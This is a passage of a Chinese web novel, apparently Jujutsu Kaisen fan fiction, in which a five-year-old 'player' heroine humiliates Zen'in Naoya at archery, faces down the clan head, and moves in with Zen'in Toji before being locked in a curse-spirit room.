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,”他抬了抬下巴,用眼神示意你跟上,“不会看眼色吗?跟上。”
禅院直哉转身,羽织下摆划出冷淡的弧度,仿佛笃定你会服从,转身朝着射场另一边的园林走去。
两个跟班立刻紧随其后。
哇,你好久没见到这么封建味的小登了,你怀着微妙的心情跟上,背影甚至显得有点乐颠颠。
禅院直哉侧眼看着你不成礼数的步伐,嗤笑一声。
内庭演武场。
几个年纪稍长的少年正在场边擦拭咒具,见他带来一个戴面具的小女孩,纷纷投来视线。
“哟,直哉,这又是哪一出?”
禅院直哉没理会,径直走到一个箭靶前,下巴朝你的方向抬了抬,对旁边侍立的下人道:“给她摆好。”
你半推半就来到一个箭靶子面前,你没有拒绝,因为你实在太好奇了,好奇这个封建小登到底会做出什么来。
旁边有侍从强迫你在箭靶前摆成一个“大”字,手上,肩膀上,头上都分别顶着一个个鲜艳欲滴的苹果。
“直哉少爷,这……不好吧?万一……”
“哼。”禅院直哉接过旁人递来的轻弓,随手试了试弦,“叫你射箭,你就射。不然你去顶替她?”
“直哉,他这胆小鬼不敢,我来!”
周围响起一阵哄笑声。
禅院直哉没反对,只是抬了抬下巴。
箭矢“咻咻”地射出两只,分别击中了你左右手上的苹果。
“漂亮!”他得意地扬了扬弓,见好就收,将位置让回给禅院直哉,“直哉,接下来就看你的了,肩膀和头顶的,可得准头更好才行。”
禅院直哉接过旁边人递来的弓,慢条斯理地试了试弦,他搭上一支黑羽箭,手臂平举,微眯起一只眼。
弓弦缓缓拉满,发出细微的紧绷声。
咻——砰!
肩膀上的苹果滚落在地,箭尾微微震颤。
他嘴角几不可察地勾了勾,似乎对自己的表现还算满意,准星缓缓上移,划过你颈侧散落的几缕黑发,擦过你毫无反应的耳垂轮廓,视线不自觉的顿了顿,最终定格在你头顶那颗鲜红欲滴的苹果上。
弓弦绷得更紧,周围几个男孩屏住了呼吸,眼神里混合着兴奋与一丝不易察觉的紧张。
禅院直哉的站姿却似乎放松了一些。他透过箭簇看着你,看着你依旧微垂的头,心里那股莫名烦躁的情绪翻滚着。
这样……总该知道怕了吧?
只要她现在……好声好气地开口求求本少爷,本少爷也不是不能放她一马。
他的视线不自觉地从苹果移开了一瞬,对上了你面具上那两个黑洞般的眼孔。
肌肉颤动了一下,他搭在弦上的手指忽的松开了。
“咻”
“不、”禅院直哉自己都未反应过来,一声短促的惊呼已脱口而出。
黑羽箭脱弦而出,速度比之前任何一箭都快,精准地射向你面具上右眼的位置。
他看到那支致命的箭矢在你眼前急速放大。
他看到你……极其轻易地将脸向左侧偏转了一个微小的角度。
箭矢擦着你的面具边缘掠过,深深没入你身后的木架,箭尾发出高频的嗡鸣。
禅院直哉紧绷的身体骤然一松,他甚至还没来得及品味这点刚涌上来的高兴,就先一步听到了你的嗤笑声。
很轻,很细微,几乎淹没在箭尾的颤音里,但他还是听到了。
禅院直哉瞳孔放大,愤怒爬上了他的脸颊。
“你——!”
咻!
更快的箭射了过来,从你的方向。
然后,“咄”的一声闷响。
几缕被劲风割断的金发,缓缓飘落。
禅院直哉僵在原地,维持着那个微微偏头,瞳孔放大的姿势,脸上所有表情全部消失,只剩下一片空白的骇然。
他甚至能感觉到,箭尖掠过时,皮肤上传来的冰凉的触感,只差一毫米,这只箭就会射爆他的眼球。
演武场死一般寂静。
你头顶那颗苹果,不知何时已落入你摊开的右手中,完好无损。
你捏着苹果,放在嘴边轻轻地咬了一口。
“咔嚓”
16. 第 16 章
一个跟班最先反应过来,脸色铁青地上前一步,你头也没抬,从地面散落的箭矢里捡了一支箭,搭上不知何时已握在手里的弓。
咻!
箭矢擦着那跟班的脚尖钉入地面,他的动作僵住。
“你最好不要动哦。”你好心提醒禅院直哉。
第一支、第二支……箭矢接连飞出,紧密地沿着他身体的轮廓钉入树干。
他被迫维持着那个微微偏头的姿势,连手指都无法动弹,金发被箭风带得凌乱。
最后一只箭射到离他□□几厘米处。
当然,这是你的恶趣味。
禅院直哉感觉□□一凉,随之而来的是难以言喻的羞愤,他整张小脸蛋瞬间涨得通红,一路蔓延到耳尖,连脖颈都泛起了粉色,胸膛剧烈起伏,他死死咬住下唇,嘴唇颤抖,说不出话来。
“现在,”你问,“还有谁要来射箭?”
无人应答。
你忽然把箭尖转向刚才射箭的那个男孩,“哦,差点忘了你了。”
【五岁:你的举动惊动了禅院家部分长老。】
禅院直哉跪坐在父亲面前,眼眶通红,羞耻得耳尖都在发红,他带着哭腔控诉:“她、她竟敢如此羞辱我,呜呜呜,用箭、用箭指着我,父亲,您一定要严惩她!呜……”
禅院直哉手指抠进膝盖的衣料,浑身像是被凌侮了一样发抖,眼泪一滴一滴下落,他从来没有被人这样羞辱过!
他一边啜泣一边诅咒你,想着绝对要你好看,恶毒地诅咒你这辈子都嫁不出去!
禅院直毘人慢悠悠地喝了口酒,眼中闪过一丝讶异。
他这眼高于顶的儿子,居然也有被人欺负到告状的一天?还是被个没觉醒术式的小丫头?
“行了行了,”他摆摆手,语气随意,“知道了,我会处置。”
“是谁?”
“禅院华子!那个偏院的庶女。”禅院直哉咬牙切齿地说出你的名字。
禅院直毘人摸着胡须的动作微微一顿。
“……那个小丫头?”他眼神微妙起来。
“我知道了。”他点点头,又看向儿子,语气里带上的敲打,“不过直哉,你居然被一个连术式都没觉醒的丫头逼到这份上……看来平日的训练,还得抓紧。”
禅院直哉低下头,不甘地攥紧拳头:“知、知道了。”
室内安静了片刻。
“你之前是不是说过,想要个侍妾?”
“什么?”禅院直哉眼神疑惑。
“不,没事了。”
“怎么会没事!?”禅院兰太在狭窄的庭院里来回踱步,脸色苍白。
他猛地停下,抓住你的肩膀,力道失控,“长老们决定了要关你禁闭。”
你被他抓得微微蹙眉,“哥哥,你弄疼我了。”
“抱歉,华子!”他像被烫到般松开手,声音放轻,“告诉哥哥,到底发生什么事了?”
你耐着性子,稍微描述了一下。
他听完,脸色更白,却立刻拉起你的手:“华子,我们现在就去给直哉少爷他们道歉。”
他慌忙地在屋子里乱翻,“这是我攒的一级咒具,还有上次任务得的茶叶,他们一定会原谅我们的。”
他语无伦次,眼圈发红:“都怪哥哥,没有教好你,华子别害怕,哥哥会陪你一起。”
你看着他着急地又忍不住抓你的肩
“嗯,都怪哥哥哦。”
禅院兰太一愣,怀疑自己听错了:“什、什么?”
你趁机挣脱他的手,撒娇着细数,“都是哥哥的错嘛,哥哥实在太弱了。”
“哥哥你怎么这么弱呢,弱到他们居然都敢欺负我,弱到只能我一个人打拼去想办法成为禅院家主,但是弱就算了,你还想让华子大人去道歉。”
“我、我太弱了?”
“对哦,你很弱。”你微笑地赞同他。
看着他那副摇摇欲坠的模样,你忽然又觉得有点无趣,算了,谁让他是你哥哥呢。
你踮起脚摸摸他的头,像是在哄一个不懂事的孩子:“好哥哥,弱哥哥,玩家看在你还算为我着想的份上,就不怪你了,一切交给华子就可以了,要好好听玩家大人的话哦,不要捣乱哦。”
你搓搓他呆滞的脸,转身向外走去。
【五岁:你被关禁闭了。】
禁闭室比地牢稍好,至少干燥,有扇钉着木条的高窗。
一个月,处罚轻得出乎你意料。
你盘腿坐在蒲团上,透过木条缝隙看窗外移动的云影,这次“冲突”让你对禅院家下一代有了粗略评估:傲慢、刻板、内部倾轧、色厉内荏。
作为未来家主,你感到一丝头疼:手下质量堪忧啊。
而且竞争对手家主儿子就这水平?
纸门被无声拉开,来人披着深色羽织,手里拎着酒葫芦,下巴上的胡子一如既往地乱翘,是禅院直毘人。
你转过头,面具后的眼睛眨了眨,露出惊讶的表情:家主亲自来禁闭室?
他被你这副样子逗乐了,哈哈笑了两声,自顾自在你对面坐下,“怎么,见到我很惊讶?”
“禅院家主这么闲吗?”
说着,你竟真的开始思索起“成为家主后是不是也能这么随意溜达”的可能性。
“啊,还好。”他拔开葫芦塞,灌了一口,随意道,“把麻烦事丢给那群老家伙就行。”
他抹了把嘴,目光落在你脸上的面具上,“不好奇我为什么来?”
“我是不是该说好奇?”你反问。
“哈哈哈,”他又笑起来,眼角的皱纹堆起,“小丫头嘴上也吃不得一点亏。”
笑声收敛得很快,他放下酒葫芦,身体微微前倾,那双总是半醉半醒的眼睛里,锐光一闪而过。
“你从哪里学的箭术?还有你插的花,差点连我也被惊讶到了呢。”
空气安静了一瞬。
“照理说,”禅院直毘人手指敲了敲膝盖,语气沉下去,带着无形的压力,“我应该把你交给人审讯,毕竟,你只是一个五岁没有术式的庶女。”
你静静听着。
“但是,”他摊开手,做了个略显滑稽的无奈姿势,“我怎么都下不了这个命令。”
他脸上那种惯常的爽朗像潮水般褪去,冷漠阴沉,目光刺向你面具上的空洞。
“你的脸,”他慢慢说,每个字都清晰无比,“真是厉害呢。”
你歪了歪头:“难道我不能是天才?”
“咕咚。”他又灌了一大口酒,喉结滚动,“哈哈哈,天才?你和直哉那小子比起来,射箭上确实算是个小天才。”
你没有接话。你习惯于顺其自然发展一个周目,不到绝境一般不会回档,也不想没头没脑地直接进入bad ending。
禅院直毘人忽然动了。
动作很快,他抽出随身携带的刀,然后,手臂伸展,刀尖稳稳地抵在了你的脖颈上。
皮肤传来冰凉的触感。
“你,”他盯着你,手腕几不可察地颤抖着,脸上再无半点酒意或随意,只剩下属于禅院家
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主的审视,“一点也不像禅院家养出来的丫头。”
刀锋微微压下。
“说,你是什么东西?”
后背窜过一阵细微的战栗,不是恐惧,而是兴奋,冰凉的沿着脊椎爬升的刺激感。
这就是你想要的啊,不仅仅只是简单地通关游戏,你追逐的是游戏里的激情,是那种陷入绝境的紧张与刺激。
你知道如果如果下一句回答得不好的话,你可能直接会进入死亡ed。
你轻轻笑了一下,声音透过面具,有些闷。
“如果我现在摘下面具,”你问,“你会杀了我吗?”
禅院直毘人沉默了片刻。
“会。”他回答,没有犹豫。
你慢慢抬起手,没有去碰面具,而是轻轻覆上了他手腕上的脉搏。
“我是禅院华子。”你开口,声音清晰,“你应该知晓的,不是吗?从出生开始,呼吸着禅院家的空气,住在那个最偏僻的院子里。吃着禅院家的米,穿着禅院家的布。”
刀锋没有离开。
“我从来不是什么怪物,我是禅院家的人。”你黑瞳透过面具,直视他的眼睛,“难道只因为我天生的容貌,我不同于众人的天赋,你就要将我杀死?禅院家什么时候轮到弱者来指责强者了?”
你略微提高了声音:“术师,咒术界,难道不是强者为尊吗?!”
禅院直毘人:“是,废物没有选择权。”
“那么,”你语速加快,“我无端受到挑衅,不反抗,难道反而要对施暴的弱者卑躬屈膝?这就是禅院家的‘礼数’?”
“你眼中从未有禅院嫡系,从未有家族礼法。”他声音更冷。
“在场二十余人!”你忽然厉声反问,脖颈微微前倾,刀锋划破皮肤,一丝红线渗出,“有一人敢真正站出来反抗我吗?!有一人展现出配得上嫡系之名的胆魄与能力吗?!”
鲜血温热,沿着脖颈滑入衣领。
你无视那点刺痛,声音因激动而带着孩童特有的尖利,却字字诛心:“禅院家下一代就是如此懦弱!您引以为傲的嫡系?您寄予厚望的儿子——哈!”
“你——!”禅院直毘人手腕猛地绷紧,刀锋切入更深。
剧痛传来,你双手猛地握住他手中的刀锋,细小的手掌瞬间被刀刃割破,温热的血涌出,落在地面上绽开暗红的花。
疼痛让你呼吸一窒,却咧开嘴,笑了起来,面具遮挡了表情,但笑声里的疯狂与笃定却清晰无比。
“禅院直毘人!”你几乎是用气音在嘶喊,混合着血气,“你看看他们!看看这个禅院家!无人敢反抗规则,无人敢质疑腐朽!体系臃肿死板,下一代耽于内斗,懦弱无能!禅院家交到他们手中迟早会灭亡!”
你手上用力,鲜血淋漓,却死死抵住他的刀,黑瞳在昏暗中亮得骇人:
“不若——”
“把禅院家交到我的手中!”
声音斩钉截铁,带着不顾一切的狂气与一种奇异的、令人心悸的蛊惑力。
“我将碾碎所有怯懦与腐朽,”你盯着他骤然收缩的瞳孔,一字一顿,如同立下束缚,
“带领禅院——”
“掌控整个咒术界!”
话音落下。
禁闭室内,死寂无声,只有鲜血滴落的轻响,嗒,嗒。
禅院直毘人持刀的手,僵在半空,刀锋仍嵌在你脖颈皮肉间,血线蜿蜒,他脸上所有表情都消失了,只是死死地看着你,看着你染血的手,看着你面具后那双燃烧般,仿佛要吞噬一切的黑瞳。
17.第 17 章
死寂持续了数个心跳。
禅院直毘人盯着你,忽然放声大笑:“哈哈哈!竖子狂妄!”
笑声在狭小的禁闭室里回荡,震得空气嗡鸣,抵在你颈间的刀锋,压力微妙地松了一线。
你的心跳缓缓落回实处。
他手腕一翻,干脆利落地抽回刀,随意甩了甩刀身,收入鞘中。
他重新靠坐回去,拿起酒葫芦,“你可知禅院家从未有过女性家主。”
“那又如何?那我便做这第一人。”你抬手摸了摸颈间伤口,声音沙哑。
“咒术界第一个术师是如何学会使用咒力的?总要有人去开辟先河。”
禅院直毘人灌酒的动作顿了顿,看了你一眼,鼻腔里哼出一声:“歪理。”
他放下葫芦,手指隔空点了点你的脸,意有所指:“你愿意为禅院家贡献一切?”
你:“嗯?”
他扯了扯嘴角,“你的脸很有用,连我都会被影响。”
他顿了顿,声音里透出一丝冷酷的算计,“如果你六岁还未觉醒术式,或者咒力低微,送到五条家去当个眼线倒也不错。”
他没等你回答,拂袖起身,“好好在这里反思吧。你的性子还是太张扬了,容易吃亏。”
话音未落,人已拉开门,身影融入外面走廊的昏暗,脚步声渐远。
纸门重新合拢,你知道这一关算是过了。
不过……去五条家当卧底?好像还挺有趣的。
你在禁闭室里来来回回地走路,侍从来送食物,都是送了就跑,像是见了鬼一样。
你安安分分待了几天,没再折腾,毕竟刚在禅院家主脆弱(?)的心脏上蹦跶过,总得给老人家一点缓冲时间。
但是你待这几天,你都没有听到哥哥的消息诶,他去干嘛了?
---
躯俱留队训练场。
“喂,兰太那家伙……状态好像有点不对啊?”
角落里,禅院兰太背靠着武器架,低着头,黑发垂落遮住眉眼,他嘴唇不停翕动,念念有词,声音低得如同梦呓。
“他怎么了?中邪了?”同伴皱眉。
“谁知道。喂!兰太!”最先开口的队员提高声音喊了一句。
禅院兰太猛地抬起头,眼睛布满血丝,眼神却空洞涣散,直勾勾地望过来,他嘴里依旧喃喃着,这次离得稍近,能隐约捕捉到几个重复的音节。
“……弱……我……不弱……”
那队员被他看得心里发毛,忍不住走近两步:“你到底在念什么经——”
话未说完,禅院兰太突然暴起,一把揪住他的衣领,力道大得惊人。
“喂!你干嘛!放手!”队员被勒得呼吸困难,用力挣扎。
距离骤然拉近,他终于听清了禅院兰太魔怔般的话:
“我太弱了……我太弱了……我、不弱!我不弱!!”
禅院兰太死死盯着眼前的人,眼球充血,额角青筋暴起,呼吸粗重:“你,我们来打一架吧!”
“禅院兰太,你疯了?!”队员又惊又怒。
回答他的,是结结实实砸在颧骨上的一拳。
队员被打得踉跄侧身,啐出一口带血的唾沫,怒火也烧了上来:“呸!来就来!禅院兰太,这是你自找的,别后悔!”
两人拉扯着冲向最近的演武台。
“前面发生什么了?”其他队员被动静吸引。
“哈哈,禅院兰太和人打起来了!快去看,有乐子瞧了!”
“走走走!这小子最近就不对劲,整天魂不守舍的,他在台上念叨什么呢?”
“好像是‘我不弱’?疯了吧……”
演武台上,禅院兰太状若疯虎,毫无章法,却拳拳到肉,带着一股不要命的狠劲。
“我要变强,我要变强!”禅院兰太突出一口血,把对手甩下台,“我不弱!还有谁来!”
“下一个是谁!”
【NPC禅院兰太经验值上升,等级跃迁:Lv.70 → Lv.71】
“禅院兰太今天吃错药了?连续挑战这么多人?”
“谁知道,跟条疯狗似的……”
禅院兰太喘息着,充血的目光在人群中扫视,随手一指:
“你!”
人群顺着他的指向,下意识分开一条缝隙。
缝隙尽头,一个高大的黑发少年正倚着墙,嘴里叼着根草茎,绿眸半阖,一副百无聊赖看戏的模样。
禅院甚尔掀了掀眼皮,瞥了一眼台上状若疯狂的禅院兰太,又看了看那根指向自己的手指,嗤笑一声,吐出草茎。
“我?”
他活动了一下脖颈,发出轻微的“咔吧”声,慢悠悠地走上台。
“呵,好啊。”
刚经历数场恶斗,气喘吁吁的禅院兰太,却在他上台的瞬间绷紧了全身肌肉,死死盯着眼前这个仿佛浑身破绽又处处危险的人,摆出起手式。
禅院甚尔甚至没等他准备好。
身影一晃,已消失在原地。
好快!
禅院兰太瞳孔骤缩,术式本能发动:【定身凝视】!
禅院甚尔前冲的身影,在半空中出现了极其细微的凝滞。
成功了?禅院兰太心中一喜,抓住这转瞬即逝的机会,咒力灌注右拳,全力轰出!
“哈!无咒力的废——”
嘲讽的话语戛然而止。
禅院甚尔脖颈肌肉猛然贲张,硬生生扭动头颅,挣脱了那无形的束缚!他前冲的速度甚至更快了三分,侧身让过那全力一击,膝盖提起,狠狠撞在禅院兰太空门大开的腹部。
“噗——!”
禅院兰太双眼猛地凸出,血泪混着胃液从口鼻喷溅而出,术式反噬带来的剧痛与腹部重击同时爆发,像两把尖刀在体内绞动。
他像只被折断翅膀的鸟,向后倒飞,重重摔在台面上,又翻滚了两圈,瘫软不动。
禅院甚尔踱步过去,抬起脚,不轻不重地碾在他痉挛的腹部,慢慢施加压力。
他弯下腰,凑近兰太耳边,声音不高,却带着冰冷的嘲弄:
“喂,碎碎念念说什么屁话呢?”
“‘我、不、弱?’”
他嗤笑出声,脚下力道加重。
“哈哈哈……你弱得连我这个‘无咒力的废物’都打不过啊,垃圾。”
说完,他收回脚,不再看地上蜷缩成一团不停颤抖的禅院兰太,转身,跳下演武台。
人群鸦雀无声,自动为他分开一条更
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宽的道路。
禅院甚尔视若无睹,双手插兜,懒洋洋地走远。
演武台上,只剩下禅院兰太破碎的喘息和断续的呻吟。
“我不弱,我不弱……我太弱了?”
他躺在冰冷的台面上,望着灰蒙蒙的天空,意识在剧痛和反噬中浮沉,那个支撑他疯狂挑战,嘶吼着要变强的核心念头,突然变得模糊不清。
“我要变强……为什么?”
禅院兰太的脑子突然变得一片空白。
某个小小的,戴着面具的身影,在他混乱的识海中一闪而过,轮廓模糊。
他努力想要抓住,那影子却如烟消散。
她……是谁?
【系统提示:[医生的诅咒]持续作用中,预计恢复时间:未知。】
---
你慢吞吞地走在森林里,都过去五天了,一点有趣的事情都没有发生。
为什么你现在在森林里呢?
诶嘿
——因为你再次越狱啦!
你哼着歌到处晃悠。
禅院甚尔正准备回去他自己的院落,突然停下脚步。
“谁?出来。”
“喵~”
一只奶牛猫从灌木丛里优雅地踱步出来,尾巴高高翘起。
禅院甚尔盯着那只猫,他径直走向猫,手臂伸向猫身旁的树干,五指收拢,精准地攥住了一片试图缩回去的衣角,随即向上提起。
“诶?”
你被他拎住后颈,双脚在空中蹬了蹬。
你似乎很惊讶,“你怎么发现我的?”
他低头,看着你在半空中挣扎扑腾的模样,鼻腔里哼出一声:“蠢货。”
你终于挣脱他的钳制,落到地上,拍了拍衣服上沾到的草叶,那只奶牛猫凑过来,亲昵地蹭了蹭你的裤脚。
“怎么一上来就揪人后颈,”你的语气里充满指控,“你的习惯真的很奇怪!”
“你管我?”
禅院甚尔收回手,插回兜里,转身就走,“小鬼别跟着我。”
你蹲在原地,专心撸猫,没应声。
走了约莫半盏茶功夫,前面的背影猛地顿住。
禅院甚尔回过头,烦躁地说:“你自己回你的屋子去!别总跟着我。”
你停下脚步,看了看他头顶那诱人的高等级标识,又仔细端详了一下他那张即使皱着眉也难掩英俊的脸,忽然理直气壮地开始耍赖:
“不要,你很强脸又好看我就要跟着你。”
禅院甚尔额角跳了跳,一脸黑线。这算什么破理由?
“你哥呢?”
哦,昨天你哥还被他打了,他一时有点心虚,这个小鬼不会是来讨债的吧?
你忽然变了脸色,肩膀垮下来,抱紧怀中的猫,假惺惺地装可怜。
“我才刚从禁闭室逃出来,你就赶我走,你忍心吗?我都快要饿死了,你就收留我们吧!”
你把小猫举高一点:“你看,小猫也很可怜啊!”
小猫无辜地歪头:“喵?”
“去找你哥去!”
“哥哥都被你打得失忆记不住我了!”
“啊——!”
禅院甚尔猛地抬手扶住额头,发出一声短促的呻吟。
18.第 18 章
禅院甚尔也不管你跟不跟了,大步流星穿过林间小径,他的院子偏,在家族宅邸边缘,半荒废的篱笆围着间独栋木屋。
他推门,闪身进去——
然后在你鼻尖堪堪抵达门槛的前一秒,“砰”地合上纸门。
门板几乎擦着你的面具边缘合上,力道大得震落了门框上几缕积灰。
你站在原地,抱着猫,摸了摸一鼻头的灰。
这么讨厌玩家的吗?不过这可难不倒你。
你把奶牛猫往上一抛,四爪腾空,稳稳落在墙脊上,回头冲你“喵”了一声。
你后退两步,自己也爬上了墙头,你骑在墙头,朝他挥了挥手。
禅院甚尔眼不见心不烦地背过身去。
他吃饭,你就盯着他吃饭。
他睡觉,你就盯着他睡觉。
他洗澡,你就……
“你到底想干嘛?”
你托腮:“盯——”
他猛地坐起身,抬手狠狠抓了一把本就凌乱的黑发,他深吸一口气,又重重吐出,像是试图把胸腔里那团无名火连同你一起吹散。
“算我输了,行吧?”他声音低沉,每个字都像从齿缝里挤出来的,“你告诉我为什么一直这么执着于我呢?”
他绿眸直直盯着你,难得地一口气说了一大串,“不论你去找谁,凭借你的容貌,你什么得不到?偏偏碰瓷上我这间小破院了?啊?小鬼?”
你呆滞了一瞬,摸着猫咪柔顺的毛发,笑眯眯地说:“啊,这是你第一次对我说这么长的话。”
禅院甚尔拧眉。
你从墙头跳下来,落地很轻。猫从你怀里跳开,蹲坐在你们之间,尾巴圈住爪尖。
“我认为我们相性还挺好的,”你说,“毕竟在牢里也算同生共死过,我还以为你已经接受我了呢,所以为什么你当时——”
明明那是你单方面不讲道理地奴役他,禅院甚尔气笑,“回答我的话。”
“我早就说过了啊,”你理所当然,“因为你等级很高。”
你向前一步,伸出手指,戳了戳他因绷紧而显得格外结实的小臂。
然后,在他还没有反应之前,你又踮起脚,指尖轻轻点在他侧脸的一道很浅的旧伤上。
“还因为你长得很顺眼。”
他拧着眉,把头扭向一边。
“这两点都是你独有的,很难得的,能被玩家大人喜欢。”你收回手,对他笑,“喜欢是真的哦。”
呵,像是被你喜欢有多了不得一样,他嗤笑,不再纠结你到底还继不继续纠缠他,禅院甚尔转身离去。
奶牛猫却忽然迈开步子,小跑到他脚前,娇声娇气地“喵”了一声,然后身子一歪,四脚朝天,露出雪白柔软的肚皮,尾巴尖讨好地轻晃。
禅院甚尔低头看了一眼,面无表情地弯腰,捏住猫的后颈皮,提溜起来,朝你的方向一抛。
“把你猫看好。”
奶牛猫在空中划过一道优美的抛物线,你伸手稳稳接住。
你低头,手指搔了搔它的下巴。
刚才说的那些话,的确都是真的。
你确实觉得他等级高,脸也好看——这对于要成为禅院家主的玩家来说,是很实用的优势,当手下的话,打起架来效率高,站在旁边也不伤眼睛,禅院那群老家伙没几个能看的。
冬去春来,禅院甚尔发现你还算是个好学生,世俗意义上的好学生,会按时去学堂上课,也会按时完成学堂布置的作业,学习上也很积极。
麻烦的乖孩子?啊,他认为你简直是魔王。
你不仅毫无边界感,自我中心主义,还随时随地地想和他单挑。
和那只发神经的奶牛猫简直一模一样!刚开始还装了会,到后面连装都不装了。
禅院甚尔无语地盯着头顶的天花板。
“砰!”
果然,禅院甚尔撑着脸转头看着门被大刺啦啦地打开。
“我来了!”
最开始这个人还睡在杂物间,后来据这个小鬼说是“杂物间太小啦”,他打扫了。
然后是“杂物间太脏啦”,他重新打扫了。
再然后是“小猫害怕一个人睡啦”——猫怕个屁,那猫半夜敢踩着他的脸走过去。
他难道没有好好地去满足你的要求吗吗?!为的就是防止你占据他唯一地私人空间,但是你还是过来了,因为你的脸皮实在太厚了。
你:脸皮是什么?
你抱着牛奶站在门口,理直气壮。
禅院甚尔撑着下巴,连头都懒得转:“你又过来干什么?那间房子里不是给你添了暖炉吗?”
“因为想增加你的好感度嘛。”
“喵~”牛奶也附和。
“呵。”
“虽然每次你都嘴上拒绝我,但是我每次过来的时候你都会悄悄的增加好感度哦。”
“哦。”禅院甚尔自然是不信你说的什么好感度的。
你自顾自开始安排:“牛奶睡中间,我睡这边。”
然后你爬上床,躺下。
禅院甚尔炸毛了。
“喂,你干什么?!”他猛地坐起,刚才被你蹭过的小臂还残留着一阵鸡皮疙瘩。
虽然之前你也在这边睡,但是你们之间隔了十万八千米,你睡地板,他睡床,井水不犯河水。
这次你居然堂而皇之地爬上了他的床。
你爬起来,莫名其妙地看着他:“睡觉啊,你看不出来吗?”
这一副温暖和睦的场景都快要让禅院甚尔吐了,还什么牛奶睡中间,爸爸妈妈吗?
“呕。”
“你都快六岁了,”他压着火,“给我下去!”
你再次盯着他,之前的单挑让你发现你暂时还打不过他,呜呜,你好怀念小葵,还有,没觉醒术式等级升得好慢啊呜呜……
你眼神一厉,一头栽回被褥里,四肢摊开,再次开始撒泼,充分发挥玩家的厚脸皮:“我不管我不管,我就要在这睡!”
牛奶仿佛接收到信号,突然仰头:“喵——嗷——呜——”
魔音贯耳。
禅院甚尔额角青筋突突直跳。他真是怕了你了。
“行,我下去总行了吧。”他起身。
他看着地面上你铺的一系列花花绿绿的被子和玩偶,嘴角抽了抽。
“喂,住我家住这么久了,你是不是连我名字都没记住?”
“啊哈哈,”你莫名心虚,“没有啊怎么了对了你之前——”
禅院甚尔冷笑,“别转移话题,呵呵,白眼狼。”
你惊讶,“你居然喊我白眼狼?”
“你说出我的名字我就不喊你白眼狼。”
“啊哈哈,你的名字是禅院、禅院……”你的声音越来越虚。
禅院甚尔:“呵。”
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>你倒打一耙:“你一直喊我喂,小鬼,白眼狼,你是不是也根本没记住我的名字!
“华子。”他语气平静,“禅院华子。”
你语塞。
他垂眼看你,绿眸里没什么情绪,声音也淡:“你这个小鬼,给我好好记住我的名字。”
“好吧,我尽量,不过我真的很不擅长记人名嘛。”你解释。
因为你就算记住别人的名字了也会忘,在看完电视剧或者一本小说后你也只是记住了大致情节了,男女主名字你是一律记不住的,况且就算记住了角色的名字,你过一段时间后也会忘记。
何况你现在只是再玩游戏,玩完一个游戏还有其他游戏,了解完一个角色,其他角色也应接不暇,你实在没什么心思去记住那些没有亮点的角色。
因为玩家的时间真的很宝贵啊。
---
次日清晨。
禅院甚尔是被压醒的。
胸口沉甸甸的,还有均匀的温热呼吸隔着衣料渗进来。
猫?他迷迷糊糊地想。
一睁开眼就看见你趴在他胸口,睡得人事不省,嘴角甚至有一点可疑的水渍,面具不知什么时候蹭歪了,露出半边睡得泛红的脸颊。黑发散在他衣襟上,几缕缠住了他的纽扣。
猫卧在你后腰,尾巴搭在你小腿上,也睡得四仰八叉。
禅院甚尔深吸一口气。
“禅、院、华、子。”他声音沙哑,每个字都像从喉咙里飙出来的一样,“起开啊!”
你迷迷糊糊睁眼。
“诶?”
禅院甚尔把你从胸口薅下去,又把你从地板上拎起来,半拖半拽地带到洗漱室。
你还没完全醒,整个人软绵绵地挂在他手臂上,像只没骨头的猫。
他把毛巾浸了温水,拧干,糊上你的脸。
“唔……”你挣扎了一下。
他没松手,力道不轻不重地把你整张脸擦了一遍。
“自己刷牙。”他把牙刷塞进你手里。
你终于清醒了一点,接过牙刷,对着镜子开始机械地上下移动。
他转身出去,从柜子里翻出猫粮袋,往牛奶的碗里倒了一把,牛奶早已蹲守在食盆旁,尾巴期待地轻晃。
你漱完口,走出来,头发还散着。
禅院甚尔看了你一眼,开始任劳任怨地给你梳头发。
本来还很生疏的动作,但经过你的磋磨(?)变得十分之熟练。
你:赞。
吃完早饭,你神清气爽。
你站起身,朝门口迈出一步,右手高高扬起,中气十足:
“全军出击——”
“擦嘴。”
他从后面递来一张餐巾纸。
你回头,接过纸,对着嘴角胡乱蹭了两下,塞回他手里。
“拜拜拜拜!我去上课了!”
然后像阵小旋风一样卷出门。
禅院甚尔站在原地,手里还捏着那张皱巴巴的纸巾。
他看着你消失的方向,嘴角几不可察地提起一点弧度,又立刻压下去了。
他的表情忽然僵住。
等等。
他低头,看看手里的纸巾,又看看空荡荡的房间,再看看自己腰间还没解下来的围裙——那是刚才倒猫粮时顺手系的,忘了摘。
他如遭雷击。
靠,他怎么变成你的保父了?!
19.第 19 章
如果不出意外的话,你的一天路程是:家→女子学堂上课→吃饭→上课→回家。
偶尔的“突发情况”是你信心爆棚跑去挑战禅院甚尔,然后在三招之内惨败收场。
六岁觉醒术式之前,你表现得相当安分。只不过在这过程中,还是顺手拿了几个称号罢了——比如【花道大师】【礼仪大师】【“别人家的孩子”受害者联盟公敌】之类的。
毕竟,太完美也是一种罪过嘛。
“喂,华子!”
你刚收拾完茶具,就听见有人喊你,转过头,两个面生的族人站在廊下,表情说不上友善,但也看不出什么恶意。
“甚尔大人有事找你。”
你挑了挑眉,笑了一下:“什么事?”
“甚尔说让你帮他拿个东西,”为首的少男指了指另一个方向,“东西在这边,你跟我们过来就行。”
你环顾四周,学堂已经下课,其他女孩三三两两地散去,庭院里只剩下你一个人。
“好啊,”你说。
走过一段偏僻的小路,四周的建筑越来越破旧,空气中隐隐漂浮着一股霉烂的气息。
你停下脚步,问他们:“东西呢?”
身后猛地传来一股推力,“进去好好受着吧!”
“砰!”
门在身后重重合拢,落锁的声音清晰刺耳。
光线被斩断,只剩下墙壁高处一道细窄的铁栅透进几缕灰白。
你站在原地,眨了眨眼,哦豁,你最喜欢的突发情况它来了!
你开始盘算:谁要害你?
你结合你平时上课时那些女孩们都不敢跟你玩的状况……你原本以为是因为你太完美了,她们自惭形秽不敢凑上来呢,你完全没意识到自己是被她们孤立了呢。
所以果然是禅院家的小少爷吧,你惹的这么多的人中除了他,还有谁这么无聊呢?
门外传来压低的声音。
“这样做没问题吧?”
“当然,她惹了直哉少爷,这点处罚算轻的。”
“要是她出来了找我们报仇……”
“我们就咬死是她自己掉进去的,她那天惹了多少人?没人会帮她的。”
“对,那个丑八怪,活该!”
你转过头,身后是深沉的黑暗,有什么东西在蠕动,缓慢地朝你靠近,空气的温度正在下降,你能感觉到某种恶意的凝视传来。
咒灵饲养室,禅院家的禁地之一。
你盯着黑暗深处,可惜,你看不见,因为你还没有满六岁啊。
